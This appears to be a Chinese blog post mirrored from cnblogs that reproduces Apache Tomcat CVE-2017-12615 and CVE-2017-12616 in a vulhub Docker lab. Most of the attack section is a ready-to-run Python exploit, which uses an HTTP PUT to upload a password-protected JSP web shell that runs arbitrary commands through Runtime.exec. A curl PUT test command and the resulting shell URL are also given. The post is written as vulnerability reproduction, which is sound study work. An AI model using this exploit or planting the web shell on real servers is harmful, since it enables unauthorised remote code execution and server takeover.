zoukankan      html  css  js  c++  java
  • CVE-2017-12615漏洞复现附EXP

    CVE-2017-12615复现

    0x00 漏洞介绍

    漏洞编号:

    CVE-2017-12615

    CVE-2017-12616

    漏洞名称:

    CVE-2017-12615-远程代码执行漏洞

    CVE-2017-12616-信息泄露漏洞

    官方评级:

    高危

    漏洞描述:

    CVE-2017-12616:信息泄露漏洞

    当Tomcat中启用了 VirtualDirContext时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成代码信息泄露。

    CVE-2017-12615:远程代码执行漏洞

    当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

    通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

    漏洞利用条件和方式:

    CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
    CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
    漏洞影响范围:

    CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
    CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79

    0x01 环境搭建

    使用docker搭建漏洞环境

    github地址:
    https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

    0x02 漏洞验证

    这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。

    执行命令
    curl -XPUT 127.0.0.1/2.jsp/ --data "test"

    漏洞验证脚本

    import requests
    import sys
    import time
    
    '''
    Usage:
    	python CVE-2017-12615.py http://127.0.0.1
    
    	shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
    
    
    '''
    
    def attack(url):
    	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
    	headers={"User-Agent":user_agent}
    	data="""<%
        if("fff".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>"""
    	try:
    		requests.put(url, headers=headers, data=data)
    
    		time.sleep(2)
    
    		verify_response = requests.get(url[:-1], headers=headers)
    
    		if verify_response.status_code == 200:
    			print 'success!'
    		else :
    			print verify_response.status_code
    
    	except :
    		"error"
    
    if __name__ == '__main__':
    	target_url = sys.argv[1] + '/201712615.jsp/'
    
    	attack(target_url)
    	print 'shell: ' + target_url[:-1]
    
    
  • 相关阅读:
    go函数
    Linux 查看磁盘容量、查找大文件、查找大目录
    五分钟理解一致性哈希算法(consistent hashing)
    使用Java实现三个线程交替打印0-74
    Python实现IOC控制反转
    Wannafly挑战赛5 A珂朵莉与宇宙 前缀和+枚举平方数
    Yandex Big Data Essentials Week1 Scaling Distributed File System
    Yandex Big Data Essentials Week1 Unix Command Line Interface Processes managing
    Yandex Big Data Essentials Week1 Unix Command Line Interface File Content exploration
    Yandex Big Data Essentials Week1 Unix Command Line Interface File System exploration
  • 原文地址:https://www.cnblogs.com/deen-/p/7566024.html
Copyright © 2011-2022 走看看